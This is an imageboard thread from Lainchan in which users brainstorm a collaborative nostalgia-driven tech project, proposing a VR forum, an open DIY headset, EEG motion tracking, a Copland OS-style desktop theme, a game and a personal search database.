Project Design on Lain Chan

How does the idea of a bunch of passionate strangers who work together out of the love for 90's futurism banded together to work on a project that makes their day-to-day lives both online and offline more and more like the same lifestyle as their inspirations/desired-vibes that come from such as Serial Experiements Lain, Chaos;Head, Steins;gate, or anything that just screams early internet nostalgia brought to the 2020s? I personally would like to work on a project that will have us work together in anything related to technology, but when it comes to specifics of this shared vision, I'd like to hear what you'd guys would be interested in actually chasing to make into a reality. Think of this as a secret society that exists for the sole purpose of escaping from the pressures of modern politics and are able to return back to a more childlike perspective that can believe in their own individual potential and even magic in itself. I would love to work on something like The Wired, or a company that can rival CERN, or create a lab with a group of friends who are wrapped up in their one echo chamber of the world not through the building of dogma but through the shared memories formed through personal experience. So, step 1: come up with a vision. Step 2: create a list of goals Step 3: have fun! Let's not get caught up too much of the details of the plan itself, we can just do whatever's sensible in order to accomplish our goals for our shared passion project :)

This feels a little redundant , there are a lot of projects like this and I guess a lot of lainons already use them, things like: PDA's Gemini Protocol Gopher Tilde Clubs WebRings Minimalistic Software IRC BBS No Gui Retro Games - honorable mention to MUD's Retro Music And this is what I can remember. Still didn't lost interest though

>>77439 I'm new to this site, but I guess it's to be expected if others have already thought of the same thing. I would like to still start a brand new project myself though.

>>77438 https://neocities.org/ related. where is the picture from?

Maybe lainchan could work together to make VR forum software, a bit like BBS's or something. You could probably make something like this on regular site without VR, but perhaps, some useful features specific to VR could be added ?

>>77443 it's from chaos;head vn

>>77445 That sounds like an interesting idea. But if it's to include immersion as the basis of communication, it'd basically be vr chat which I'd say is multiple evolutions above a forum page. Maybe there is a particular nostalgic element that is missing from forum pages that higher evolutions seem to neglect, but I feel like vr chat as it is currently doesn't neglect that apart from its chaotically changing culture. If we were to work on something VR related, I personally don't own a vr headset so that would be an issue, though I can image most of the people here in this community would own one despite it still being somewhat of a niche market today. Maybe the ultimate thing to make is straight up make SAO, which has been a dream of mine since the age of 14 that me writing this admittedly only just now reminded me, so maybe we can find people here who have the skills or want to develop their skills in order to take on the necessary roles. The real question is, who's going to take the role of akahiko kayaba? Well, the whole idea is the fact that this project starts with the banding together of passionate strangers, but we can't say for certain that this anonymousness will remain, since some will want to become more efficient without issue of communication. Class systems are built into our very nature, so there's no avoiding that meta game, but in order to play that game in the way we want with very early consideration before any steps are taken, a perfect corporate system needs to be designed around a clear vision, which of course we haven't even decided upon what we would be doing yet and I'm just rambling after your single idea. The best I can speculate in terms of what sort of pillars will exist for our unofficial company's class system, regardless of the vision, will most likely include multiple people filling the role of CEO, like if there was a country being ruled by multiple presidents, one for each political party to represent, rather than a single higher power. That way the vision is the main focus rather than a consequential meta game of power struggle and the art of war, because democracy is enacted in a less retarded way since it would probably also be supported with the other pillar of promoting raw merit and character over corruption loopholes. I want to say all of that out of the way, because I find that the most fun of experiences for everyone involved is when trust is in place, but trust is earned, and this system tells people who has earned said trust.

>vr forum imo, the most important aspects of forums is their asynchronous nature and the preserval of information within them. How could that be made to work with vr? Alternatively, what could vr add to forums without degrading these aspects?

>>77449 What if it was like an empty library where sections are boards, scrolls are threads? You see new posts appear as text appearing at the end of the scroll. You can read multiple scrolls laid out in front of you. Writing in a scroll you can use a keyboard, hand type gestures or speech to text. Within posts can contain not just images and video but also recorded 3D environments sort of a 3D recording for demonstration purposes. If you want to contact a user who made a post if their settings allow it this brings you into a shared space to talk real time via voice or text without it recorded if they are online at the time, if not you can leave a note you tried to contact them.

>>77452 Although it works, I don't see how people would use the app for long, because forum pages traditionally are tabs you can leave and continue to do your own thing on the web, but if the entire application works like discord and you can't 'minimise' the window to, again, tap out, then locking people in will majority of the time will be 'waiting room simulator'.

How about we try to compete against something? The internet always talks about how if 4chan banded together to do something actually important, the world would be saved in a week or so. Maybe lainchan can be the catalyst of that trend, or even culture?

>>77460 Not to be pessimistic, but when was the last time 4chan did something cool? I don't remember anything since bitcoin, and even that was just released on 4chan and not developed by anons. Contrary to Nishimura's vision, I don't think anonymous collaboration really works. Pseudonymous collaborations have been fruitful (e.g. diybookscanner, i2p), anonymous individuals as well (e.g. bitcoin). I guess wikipedia comes pretty close to anonymous collaboration, but I feel like that's stretching the definition of "collaboration".

>>77463 Then the major issue for why there is a draw back in collaboration for anons would be to do with a lack of hub to contribute to, but the solution is GitHub, is it not? All that would need to be done is make the community of anons to move over to the project of their own volition, which naturally defeats the purpose of being anonymous in the first place, but I doubt many would be hung up on that detail since 4chan users seem to be just fine doing so when it came to the tumblr wars.

Yeah, pesudonymous is the way to go, we can all agree there, but what's the real thing we should be collaborating on and be fruitful in in the first place?

>>77465 Honestly, pseudonymous kind of is like kicking dead whales down the beach. I think it's a concept that's completely tapped out, and was sort of a trap or unwitting error that's groundwork had been laid for us. The utility is fairly specific, and not general.

I hope the project works out and that this doesn't end up as a dead thread. I'll keep checking this thread, maybe I'll have something to contribute when we have a more concrete idea of what to create.

"Memes, the DNA of the soul." This is how we can spark competition. >>77463

>>77463 tox was pretty cool even if it had flaws

>>77466 Then if we were to make an effort on trying to figure out not sacrificing complete anonymity for the sake of fruitful collaboration efforts, the real question is if under this context if it's even worth the effort. After all, if our objective is to escape the pressures of the wider world by immersing ourselves into a nichér community that's focused around this passion project and what else could come from this thread, then wouldn't going with the flow of using these tools such as GitHub that is a peseudonymous application by design a good enough thing for our purpose? >Chaos;head vn This inspires me to have the day-to-day community experience of a Steins;gate-Esk friend group, but then the next question is what exactly our shared passion project is that brings us together. In Steins;gate, it's a straight up time machine for the characters. In Dr Stone, it's initially to go to the moon. In slam dunk or any sports anime, it's to become the best in their particular sport. In Bakuman, it's their magnum opus of a manga series. For examples that are more realworld, it's the classic era World of Warcraft, being an entirely different world or 'home' to the people who would escape to that passion at the time. Although World of Warcraft(WOW) was and is a technically large community, the best player experiences were the ones that were deeply personal, like treating WOW as a space for irl friends to hangout in. It could also be seen in Elden Ring when straight up having the passion to find the Elden Ring. If that game were to be multiplayer, sharing that experience would be similar to the classic days of WOW. So, what we are looking for intuitively is a 'home' if we are talking about escapism from the noise of the modern world, but as for the specifics of that home and making sure that the pure, childlike perspective is in place for us to truly appreciate the escapism without any dissociation (which I know not everyone relates to thankfully, but unfortunately it echoes true for *most* people today), This is what Lain meant after all with wanting connection, why the phrase "let's love Lain" even existed in the first place. It's because by trusting a person, place, or thing (like a friend, a home, or a god), can one have an identity, remain true to their 'self' without educations and malevolence influencing their sense of security in the 'self', and have a grounded view of existence that creates continuously significant memories to be nostalgic about. This is also why so many people are more nostalgic about high school these days, reflecting on the 'good old days' rather than feeling like there are any good days happening to them today, because back then, their view of existence was grounded right up until the point their graduation from that 'home' was imminent. It can be prolonged in places like college/uni life, but that world view ends with graduation as well. It's our responsibility as adults to find and make a new home after graduation from the housing that society grew us up in, and coming up with this initial passion project could just do that for us. And so, I ask again, what's our vision? What's our Ideal World? Where should we focus our attention towards so much that we can remain true to ourselves even when the house of our home has been destroyed by the time limits of destiny controlled by the higher powers of society? In Attack on Titan, it's to live life beyond the wall. Erin failed to remain true to himself, and lost sight of his passion after being touched by malevolence. Awareness is the first step, but in practice it's difficult. That's why we need a vision, a home, in order to actually have a 'self' in the first place to remain true to, or else we'll just be at the mercy of ever growing paranoia in a time where dystopia has already walked through our front door.

>to truly appreciate the escapism without any dissociation I forgot to give a solution to this. The solution to make a view of existence into a grounded one, is done by dong the the thing I last mentioned, the hard practice. Remaining true to one's self is the literal equivalent of changing one's default state from that of an egoist (a person who is burdened by the knowledge/educations they have accumulated that results in various existential consequences such as a sense of repetition) to that of an observer. Being an observer is the same as having a childlike perspective. No matter how many times you watched the same movie as a kid, it didn't feel repetitive because you weren't burdened by knowledge to dissociate/dissolve the experience down to information rather than hold the personal value that once was.(To those of you who understand and relate to what I am saying) This hard practice of making our default states to include the personal relationship/connection to the things that happen TO us is the perspective that's needed to make a view of existence to be grounded, to remain wholehearted and not have the potential vision die off and the dialogue of this thread to pitter out, to have a home. All we need to do is to simply pay attention to what we want more often than the distractions that we have become comfortable to.

>>77467 Same, I'm constantly monitoring this thread. I'm also thinking of new ideas

>>77471 >And so, I ask again, what's our vision? >What's our Ideal World? You actually don't need to have a concrete vision overall or an ideal world. For example, the ideal world of the Free Software movement is to have all software be fully Free Software, but hardware and software vendors (not to be confused with service providers, or SaaS's) are often reluctant to release source due to competitive business pressures. Given these contrasting pressures, it's unlikely for the Free Software movement to ever achieve an ideal world, but despite that the Free Software movement has been tremendously successful: tens of thousands, perhaps hundreds of thousands or millions, truly believe in the GPL license and only release software under it, and we now have nearly fully FOSS operating systems and software stacks. So then why was the Free Software movement so successful? Simply because Stallman had a need and desire for Free Software, and started a project and license that made it easy for others to follow as well in their own small way. A small seed was planted and it bloomed into something bigger. On another note, for more project ideas, there are actually many good things to work on if you want to capture some older computer feels. Every once in a while I'll take old crusty software from linux distros released in the 2000s and try to build it on the current linux releases (mostly Debian). It would be fun to have a working GTK2 system like we used to have, similar to how the TDE project keeps maintaining KDE 3.5. There is also theming, I've still yet to see a comprehensive linux theme that makes the desktop look and feel like CoplandOS (from SEL). There are themes (pick related), but you realistically have to have a full software stack built up to make it really feel like SEL. Some more potential projects, there are operating systems like HaikuOS (based on the 90s BeOS) that are in desperate need of native software (a lot of it's software are Qt ports). If HaikuOS had some good momentum, a community could pretty quickly make the system more usable (the current community is pretty small and scattered at times).

>>77475 I don't mean a literal world, The Ideal World is just a title I forgot to define for others that I use to make reference to a vision or grounded-view-of-existence/passion. >distro themes This is actually what got me into wanting to try Linux in the first place, the exact same theme as something that gives off matrix or SEL vibes. If we want to also make it 'perfect' we could go the extra step and use both TempleOS and HolyC as the base, but I'm not too sure how long that would take since I myself lack the inside knowledge on such raw things, let alone the fact that I'm actually less than a noob at Linux (which is totally separate from the 'extra step') at this point in time.

Recently I've been thinking of how to make a CDDA-like game with the following features: 1. Same amount of features and autistic grinding as CDDA 2. 2D, tile-based environment 3. Multiplayer 4. To allow for point 3, real-time gameplay. Although I would really like to make multiplayer work in a turn-based game, I don't think it's possible. 5. Earth-like, spherical world (not rectangular, not infinite, not a torus, a sphere (but actually a cube)) 6. Good looking, complete tileset 7. No random crash I've been designing things and learning SDL for that, but it might honestly be too big for me (especially the tileset part). How does that sound for a project? Would lains be interested in contributing to something like that?

>>77477 I also have a game idea where I want to have a vibe that gives off darkweb feels. Like imagine you turn on the game and it looks 'unfinished' but the further you progress and things happen around you in this 3D first person game, more depth to the narrative and purpose is revealed, like a non-fake version of petscop. It's inspire by this image of Sewerslvt (above). Of course, 3D art is challenging, and I'm more than happy to do a 2D game instead if an appealing vibe whether similar to this inspiration or not is still there.

I don't know well enough though anymore if unity is a viable game dev engine. Can 2D games be made easily in unreal engine 5?

>>77477 Well, that's a very ambitious project. It would take you quite the time to implement a decent multiplayer. If you're going for real time, that would add even more complexity with prediction/reconciliation/compensation. Btw turn-based multiplayer is totally doable with right game idea and logic in your project. Also you could go for slow tick rate mixture of both real-time and turn-based. I really advice you to do your research first.

>>77458 Maybe but it could also be part of a larger world with other things to do and you just can teleport to the forum library whenever. In theory you could use an existing systems like VRChat or Resonite but I kind of feel like there is a need for a security focused decentralized hosted VR platform along with open source headsets of actual good quality. This would open the door to helping create an alternate place on the internet that wont be used as another mass surveillance tool. Might be too ambitious though.

>>77438 Big shared volunteer projects have two main issues : - organization, especially with anonymous members. - interest by said members that wanes after a few months or weeks. The way to go about it then is to get a meta-project going with many small independents components that interact with each other around a shared standard. Like a DE. As a group we setup a vision and wiki for what the DE should look like and how it would operate. Then each program making up this DE (terminal, file-manager, WM, ...) would be a separate project. That way each project is small and solo-able in a small amount of time all while contributing to something greater. Even better, this kind of project can be picked up by anyone along the way, since there is no single code-base to learn first before contributing.

>>77484 This is agile, which is what industries use to deligate work within a large group of people to meet a deadline. We can create an opensource wiki of sorts to list the design and task plans, with links to sprints/todo lists that are active at the time, not stopping until it is completed as intended, rather than being fixated on deadlines to hold back the 'passion' in the project. As for the project itself, we so far have 3 ideas that have been brought up so far: 1 - VR communication hub that holds its own either on par or above VRChat. 2 - A video game 3 - An operating system and communication network using linux or raw computer science knowhows for things like TempleOS.

>>77485 >>77476 Never heard of LainOS? No surprise since it has gone nowhere in over a decade of development even going as far as practically entirely starting all over again with the new dev that took over.

>>77486 You know what, thinking that over, just straight up working on The Wired sounds appropriate for the people of Lainchan to work on. Does that sound like something that resonates with everyone? Of course, at this point we may be anticipating different thing, so making a decision on a whim could lead to disappointment, so in order to prevent that, we should wait for more responses first before voting and hearing possible alternative suggestions. If anyone knows of a way we could vote, please send the link to a sight so it can be organised.

>>77478 That's rather vague, but it seems like a cool idea. I don't think making a 3D game is much more difficult than a 2D game, if you can use a ready-made engine. Keep us updated if you start something. >>77479 I don't think a ready-made engine would work for my purpose (because of the spherical world). I'm pretty sure unreal engine is exclusively for 3D, so a 2D game would probably come at a huge performance cost. >>77482 I know its ambitious. Multiplayer isn't a huge priority for me, I just want to keep it in mind and not introduce features that would make it impossible to implement multiplayer later. In any case, I posted about it to get the conversation going. I don't have anything implemented yet (except a demo of a spherical world). I'll keep working on my own for a while and publish it once I have something to show off. >>77487 What would the Wired be that the Internet isn't already? And voting would be pointless. Just start implementing something, and interested people will jump in. I quite like the VR idea. An open-source, decentralized VRChat or Second Life sounds cool. It would be great if it also had a non-VR client though, for poor users like me. I don't know if VRChat does that, but having some persistence in the world (like Second Life) would be cool. Something like leaving notes for others, and advertising events and projects at least.

>>77487 The wired as some protocol stacked ontop of the regular internet, or some kind of new P2P internet

Since there's talk of DE development and modification, would anyone be interested in making something that was shown in >>77463?

>>77502 Did you mean >>77453 You're short

>>77504 Sorry, I couldn't correct myself because it kept getting flagged as spam or something. I actually meant >>76613

I don't know how to find archived thread on here but I remember people sharing a project here of a VRchan, don't know if was a complete project but I remember even seeing a fully functional video, if we can recover the thread it would help with this topic. As for 2D engines, Godot is the best free and opensource engine in the market right now, I think you could change the engine to implement a cubic world, but being realistic having a cubic, spherical, or cosmic turtle doesn't change a lot depending on the perspective of the game.

things have been poppin off in the decentralized supercomputing space, the past month... how this is relevant: it may become trivial to get top-of-the-line graphics or processing from our ancient dinkpads. pooling our resources like this, into a SuperNavi, has been something i've been trying to highlight for a while now. i'd like to do it in a manner that avoids cruupto, but imagine that your 'host' was, instead of faceless corpo, just a swarm of peers, who are themselves lains interested in making the network better. something to consider.

If we are to make a Navi level super computer, we could copy what the minecraft community did to do ‘research’ on cactus’, which used the “Boinc” network for people to contribute/donate their CPU to a project’s sever. >minecraft cactus research story https://youtu.be/dOqUIvce22c?si=ULAhAtu_SJicm499 >boinc network https://boinc.berkeley.edu/ However, what would we use all that CPU for, other than to simply claim we have access to an international supercomputer?

How about we try to do something ahead of our time, so much so that no nation will be able to catch up for hundreds of years? I’m thinking something along the lines of hardware, but let’s say our ultimate vision is for us to get to space and create a genius society similar to that of Honkai;Star Rail, where those few who have godlike levels of talent gain access to the society/Valhalla, and the things we would do on the daily are so otherworldly and grand that it has control over destiny/the-grand-scheme. Of course, we don’t want things to get dystopian, so our main focus as higher power EQUALS is towards a certain narrative that we immerse ourselves in, inspired by any fiction. Think of it as role playing, but the the extreme degree that we end up actually changing the world to fit our peak fiction. Someone could be the ruler of a country, the other could be a lone wolf vagabond hero, and another could be a chaotic presence who likes to mess things up for the rest of us. To be forces of nature but childlike simultaneously, is what I’d say to be one’s ultimate ideal self, and exercising freedom of potential to achieve our shared or unique “Ideal Worlds” is a natural consequence of being true to a ‘self’ that is decided upon through immersion. The question is, can we all do the hard practice of easily allowing ourselves to play pretend as effortlessly and enjoyably as we did when we were children. Mad but revolutionary scientists are always chuunibyous. Just look at Issac Newton (yes, actually him) and Okabe (from Steins;gate). … I’m sort of always beating around the bush by explaining the psychology behind visions rather than making a decision on what sort of vision to immerse myself into, because I’m still dealing with the hard practices myself… Even so, for those of you who bothered to read this rant and the previous one, I know without a doubt that anything is possible!

>>77510 what would we use all that CPU for, other than to simply claim we have access to an international supercomputer? well, the beauty of having a marketplace tied to it, is that you don't need any presently active objective, you can let other people use your resources to collect tokens, and then when you're ready to perform some task, you just buy it with your saved up lot. besides that, for games you could have all the rendering done on the 'server side' & just distribute an interactive video basically, the way that 'parsec' or 'moonlight' works. meaning that the specs of the pc you're accessing from are negligable, and you're able to do much more without the overhead costs of buying new hardware, storing it, powering it, setup, etc. it'd help the barriers to self-hosting tremendously... really anything you already do but better because there's more resources available. also the earlier discussion about pseudonynmity... look up darkfi and rachel-rose o'leary's zero-knowledge proofs -- that's the way things are heading... not this out in the clear crap. >>77511 we're already doing that

>>77512 Makes sense. It can be a goal to have as one of the things to do in pursuit of the vision, but we still need that vision in the first place. Though, since in general it’s a good idea, I also don’t see why we have to wait to do something like that. >We’re already doing that The being forces of nature thing, or being chuunibyous? If it’s the former, clearly not unless if you’re talking about the entirety of the human race and not us lains. If it’s the latter, lol.

>>77512 >marketplace How about no to get rich quick schemes.

>>77512 I don't know if a understood correctly, but did you mean that we can create something like Xbox Cloud but for a single game and decentralized like a crypto blockchain? If so that's a cool concept, I've never thought about something like this.

>>77513 sorry, i'm thinking of this more in the sense of developing tooling that could help on anyone's project, i'll try to get in character... lets return to vision-vision what i mean to say there is that we're all already having our child-like fantasies and on our mad power trip. the problem with childlike fantasies is that they require structure and boundaries. we all want to play, we lack a common play-ground (alienated + surveilled, lack of trust not lack of interest). i think that we've identified a need for a free VR social hub. i feel a sense of community in that others feel the same urge, and cool to think of it as a more persistent library... i was there in second life's beta, one of the first places in the city, was like that. I'm feeling the same sort of vibes around the net, but its in all varying address spaces and encoded strangely... what we're building is primitives that we can all work from, that was SL's unique edge, providing a base set for creators to pick up upon. and there is a market need for a VRC/Reasonite that is Free, where you can inspect the source code, and 'tracks you' but doesn't 'track you' in that sense. I think that's what we all thought VR was going to be, but that vision is slowly being memory-holed as we're ushered into virtual shopping centers that are DOA. I love this as an explaination for how secure community projects and stuff like this are feasable and can happen https://coolguy.website/the-future-will-be-technical/ lets get a base set we can all dev on. these are suggestions, obviously each person's implementation will have customizations, but working with a standard we'll get more accomplished... [HMD] Main Board: Star64, Odroid M1, Snapdragon... an embedded soc capable of Vulkan, leaning towards risc-v for futureproofing but it can be virtualized/emulated Screen: 8" OLED Accelerometer: i don't know what people are running these days Design: Big, clunky, hacked, wires. Says "I am wearing something big on my head!" like a Samurai. Not something sleek and glasses-like, which the technofeuds keep pushing but will never take off. I haven't done 3d printing, though can do industrial draft design and 3DCG. [PERIPHERALS] left hand - 5 mb's, scroll wheel, trackball right hand - chorded keyboard, 5 or 9 keys we can learn from / improve upon the design of: https://skarredghost.com/2021/12/08/project-caliper-prototyping-controllers-vr/ "tongue glove" (important) [TRACKING] Suggest, keep in mind budget and availabilty [SOFTWARE] This is the tricky part because we generally have a tendency to disagree & everyone has their preference. But lets think of this the same way as a company like SEGA or SONY making a console. (all that to say) We'll run FreeBSD. Then develop all Free-as-in-Libre tooling en virtual from that point of departure. The first task is getting OpenXR to recognize our custom device; which again at this stage consists of a screen with an accelerometer on it. A lot's already been done for us, we don't have to go reinventing the wheel at every stage. Then we'll have to decide... a whole lot of things. does this sound agreeable? do you think that a few people could get this or a similar setup up and running in 3-6 months time? if anyone has expert knowledge, expertise, in any of these component parts please step fwd, i haven't done a ton of research on the latest hardware for tracking, if anything beats lighthouse these days...

>>77517 So basically, your idea is to make the meta-verse ourselves, but also a VR headset and systems that can be considered as "perfect" with what current scientific discoveries have already been made, such as the implementation of accelerometers instead of getting ahead of ourselves into the realm of sci-fi such as brain scanning if full-dive VR was our focus instead. Looks like you know a lot on your own already, so that's reassuring. In regards to what you mentioned from a SEGA/Sony approach in order to make smart decisions while still allowing for ourselves to have creative liberty and individual preferences for the device(s) to be heard, I feel like there also needs to be a consideration of funding. I can imagine that later down the line, although it would be cool to say that we out of few in the world own the 'perfect' VR devices at hand, we should make an attempt to share it with the world and make some capital in order to make even more projects in the future a lot faster than we would otherwise. Since we won't be reinventing any wheels (unless if there are unexpected acceptions), there shouldn't be the need to patent anything, unless if someone can correct me if I'm wrong in that regard. Finally, as you mentioned at the start, trust is earned. Although having faith in others is ideal, there needs to be systems in place to make sure that those who may be touched by malevolence or corruption don't get the upper hand and we promote a 'purification' culture, where connections and faith is preferred over 'necessary' evils/short-term-gains. Thankfully, these systems already exist as common business practices, but we'll need initially trusted people or each of us ourselves to take the liberty to study up on these sorts of things. So long as we remain true to the vision, which is to do something great, then distractions shouldn't sway us, and loss of interest will not occur. Speaking of which, although the logic is reassuring, we should have a clearer vision, like a pin point event that we can all relate to in order to feel the significance of our ultimate objective. I'd assume that everyone in this image-board is at least familiar with SEL, but as for whether or not they are die hard fans is another matter (although likely also), and especially how our passion project can be tied into that or maybe even another source of inspiration. Do you guys want to list your inspirations in the meantime? For me, again, it's Steins;gate, SEL, Dr Stone, SAO, and NieR Automata. [I have many others, but this is where making the vision 'clearer' comes into play.]

>>77519 on topic of eeg based fulldive vr, i have a feeling that training a transformer on a dataset of brain signals(specifically of the motor cortex) and the resulting body movements will probably get us farther with less investment than using current gen accelerometers and such. besides.. hugging my waifu won't go as well even with a rift.

>>77520 That's an interesting idea. Has a proof of concept been done before? All I could find were prosthetic limbs, requiring the user to re-learn to use it. My impression is that it would require extensive fine-tuning for each user to get a usable model, though I only have a superficial understanding of neurology and might be underestimating how uniform human brains are. Seems like the work on sensors and data processing has already been done: https://openeeg.sourceforge.net/doc/ The hardware cost seems reasonable. 144€ for a board and 5 active electrodes, vs 129€ for a vive tracker. https://www.olimex.com/Products/EEG/OpenEEG/EEG-SMT/open-source-hardware

>>77520 >>77522 I don't feel like working on such devices will be worth it, since better devices will be made with greater research, and those with more money will only be able to keep up with the ever growing competition. Ultimately, everyone in the field wants to be able to have a completely concrete mind map of the entire functionality and relationships to do with the brain. No one knows how much the percentage of completion such a mind map has been completed, because we don't know yet what constitutes as 100%, so if we want a fighting chance with something like that while the technologies are always many steps behind the current most but still limited understanding of the human brain and its variations, we will need A LOT of money for research and development. 100% we could get excited for this, but keep in mind that if this is our vision, our goals to achieve as prerequisites in pursuit of that ultimate objective will be considered entire visions in themselves within the eyes of even the greatest minds of the field. I personally want a vision that grand as well, but I want to put the list of massive goals in perspective for everyone else too.

>>77522 i was basing my proposal on basis of this paper that shows that eeg is as good as an mri for detecting neural impulses that occur prior to muscle movement https://www.researchgate.net/publication/51299907_Using_electroencephalography_to_study_functional_coupling_between_cortical_activity_and_electromyograms_during_voluntary_contractions_in_humans and this one that talks about 3d printing dry electrodes. https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5087423/ i might be naive, but it is my understanding that the building blocks for such a system are already there, and all we really have to do is to 3d print a electrode grid, fine enough to separate the motor cortex into groups based on what muscles they control, get lainons to collect data of brainwaves and their body position(gait?) while doing common actions like closing a fist, etc. then average out the results to remove noise, and feed to a transformer, and finetune it to generate a human gait(sort of inspired from https://biology.stackexchange.com/questions/43284/brain-wave-and-motor-movement-correlation). >>77523 to your first point, i don't really agree, since we aren't really competing with anything here, from what i've reasoned, we're doing this because it fulfills our need to do something bigger than ourselves. to your last point, agreed. this plan is going to be more confusing than any vr control system has the right to be, but it will be much more refined if we can get it to work. but, question is more of whether it'd be worth working towards for most lainons

y'all taking this to new heights in every post, i'm excited as lain pointed out, whatever 'they' come up with in the brainscan field, we're likely going to be salvaging for parts down the road. we are now at that stage, in a good place with VR-HMD tech, enough VC capital has runoff to the point where we can generate our own rendition in the underbelly for cheap. And there are enough riddles / gaps / holes in that field to keep us busy. Lets see what we're able to come up with with what's available, and get the core group in sync and grooving first. Right, i think providing a general schematic people can follow along at home is good, but also fabricating premade kits will, i think, keep the thing afloat. in that regard though, for a long time i've been thinking it'd be fun to poke at a responsive interface that interacts with sleep levels. certain things activate when the brain is in beta waves, alpha, deep sleep... the goal would train oneself to operate in a trance state of dreaming-while-awake, and you'd have audiovisual feedback which alert you to this. then, if you'd been building something, and the tooling is simple enough, the dream takes over, and you get 'automatic writing' but in the virtual space, you wake up and there are all these dream characters / setting that you have no conscious memory of creating. my inspos are Texhnolyze, The Matrix (1999), Dark City (1999), Fallout, The (New) Falcon Press

>>77525 Ok, I see what you're getting at. In that case, we would need a lot of data in terms of brain scans for body movement so it can be generalised, as well as pin point what neuron firing represents specifically physical movement, since a person could image it just as vividly or impulsively which could tamper with the data. Beyond that, I think it's a solid step. As for how we will get a 'kit' for everyone for the research device to be used by anyone easily, instead of only devoted fanatics of our project, this is where we need to include the gaining of resources into our plan. I personally don't know enough about these topics to be able to identify what needs to happen to design the device, even though I'm a designer, so I'm personally going to be studying STEM fields of interest that will be in relation to the potential of Full Dive VR - even though this device proposed is simply to do with physical movement reading. The reason for this is because if I try to treat this device's research requirements as the 'fundamentals', then the study should come along faster also. Of course, as for where and what I will study initially, I'm planning to use the online MIT courseware for free education on computer science (so I can actually work on the software which I severely lack the skills for) and economics. Economics would come as a surprise, but here is my plan for what else I will study after this: I would like to be in a social environment at some point, and only university can offer that with a lab, so I need money to be able to do what I do with the added benefit with friends to join for the cause of doing great things in the future also, and the things I will study in university after the prerequisites of making money efficiently and having the skills of a computer scientist, are engineering and neuroscience. If I feel like I have the capacity for a third subject simultaneously after getting the practice in for mastering two from MIT courseware, then it'll probably be physics, because I'm just interested in the subject and it wouldn't hurt to apply that inside knowledge as well. Along a timeline, I don't know how all of this 'catching up' will take on my end, but as I study computer science, I'd be more than happy to practice by working on anything this project needs. :) Do fellow Lains want to infiltrate the same university together, regardless of the course preferences?

>>77535 Interesting list, I've only seen the matrix and plan to watch Texhnolyze, so I'll definitely check out the rest (no, I haven't played a single fallout game yet)

Oh yeah, and one more thing. Since if the first step is to make money, and the skill I'll be trying to develop is computer science, that means that one of the first goals that most of us could work on to share the capital together (if we all want share the same university, which I know I'm getting ahead of myself when saying that), is to try to gain the funds to support our seminar. Why not make money together trying to make the NaviOS/CoplandOS previously mentioned?

>>77538 Outside of company supported distros like RHEL doing a distro isn't profitable, but I think starting small projects it's a better approach, spread the culture now gather the resources later, and by resources I mean development contributors too. About the small thing I would like to say that a distro is a still big project, starting a site, a small tool, making a WM theme should be the starting point a bottom up approach is much more likely to succeed, but if you follow the VR route first consider making at least working with current copyrighted VR's initially to at least gather attention from their community, a small but good game for VR and them a promise of something bigger will provide the resources you need from the community.

>>77540 After what you said about getting attention from communities, (the more communities aware the better, not just limited to VR so as to include *anyone* on our vision), I started using my art skills to make an SEL inspired animation. [Keep in mind, it's a work in progress.] I don't know where that extra side thing will take me, but it's a fun little small project that I could use to gain a social media following and personal funding in my free time apart from whatever other smaller technology related project we could do together to gain overall resources.

I would like a personal database management system with performant search engine functionality and I can't even comprehend why this doesn't exist already. I also want it to run on a low powered server so I can interact with it with all my devices remotely and also have the ability to share collections within the database with peers. If thousands or even millions of people do this, we could transform the web as we know it. In stead of searching glitterboyty commercial search engines, you could just search the combined databases of the people you want. It would also encourage people to archive information locally. When I'm engaged in research, usually I'm revisiting information that I accessed before already. But because it's such a pita to find something that you found before within your own file system, you just type the thing in a commercial search engine because it's more convenient, which is dumb. So to counteract this, I want my own search engine. I want to search my database and I want to search the databases of other like-minded people. Such databases would be hand-curated by people, not a robot. There is no SEO fvckery and no more dealing with stupid javascript, paywalls or general fvckery on the internet. Find it once. Save it. And that's it.

>>77559 This and many other things to do with ‘truly’ owning my own computer’s software, hardware, and data would be so cool. It’s a big task though to decentralise everything from the ground up, as well as link them to mainstream servers as a one way looking glass so as to not be cut off from the rest of the world wife web, but it’s definitely something I want to do. It’s stuff like that what got me into Linux in the first place. However, again, “from the ground up” is something that needs a lot of studying on.

>>That's it lainon, look cool, any spoilers on what is the theme?

I've always seen inspiration based on nostalgia as larpy and fake. Not to say reject the aesthetics, but to make a 1-to-1 copy of some old version of Windows only shows a lack of creativity. And to totally reject modern technology brings compatibility issues among other things. That said there's a distinct lack of ingenuity in modern tech compared to Y2K. It seems like everything has been streamlined. I have some unique ideas of my own I'd love to create as a product. Same things can be said for software. Windows and Mac don't seem to be creating anything new and Redhat / Gnome is killing Linux. I often consider creating my own operating system and even made prototypes and talked about it on this board before but ultimately it's unrealistic.

>>77562 ??? i don't know what you mean it . >>77563 Realistic or not, I'd like to hear it, especially since you said you've got a prototype. Also, the moment I saw that image of the PSP, I felt envy for all those who actually own it, lol. I really want to get and jailbreak a PSVita.

>>77564 GPD actually makes a handheld gaming PC that's nearly identical to the PSP (with tons of extra features). It's a rare exception of modern creativity. https://www.amazon.com/Handheld-PC-Console-Gameplayer-1920X1080-TouchScreen/dp/B0BZWPHHY2 As for my OS I scrapped the project as I usually don't save my failures, helps me focus on whats next. But the idea is a desktop OS written in C or C++. It would start as a simple C library for cross-platform compatibility so I can develop the userland on any existing OS first. Then building on that foundation a standalone graphical toolkit and a desktop environment. It would also have a unique web browser based on an open repository of client-side javascript - I can write a separate post elaborating on this. With the userland out of the way I'm not exactly sure what to do for the kernel. On one hand I'd like to make a monolithic kernel with subsystems for Linux and WINE for compatibility. I also hate the UNIX file structure because I think it's messy. On the other hand I don't want to deal with hardware support, drivers or security in such a critical part of the OS. I got as far as making the base library and some graphical tests before losing motivation because I realized it would become a huge timesink with little chance of success.

>>77565 Well, as a previous poster mentioned, it's best to work on smaller projects that can contribute to larger ones for the sake of getting things off the ground as a collaborative effort. Maybe you lost motivation back then with or without reason, but so long as you first get excited again, inspired, I'm sure you can try again without the concern of how realistic it is or not getting in the way next time. I'm pretty hyped up to do 'something' in the direction if working on the NaviOS from SEL, but I have no idea what sort of smaller projects I should prioritize just yet. Maybe just for the sake of getting the ball rolling and actually doing something me and others here would like, perhaps working on user-end/interface theming would be best, and we reverse engineer going from there. From surface to core, or front end to back-end (whatever's the correct terminology). Lol, looks like I answered it myself. Does anyone know where we can make a wiki page or something to create a publicly managed project? I imagine it's going to be a more obscure version of Jira.

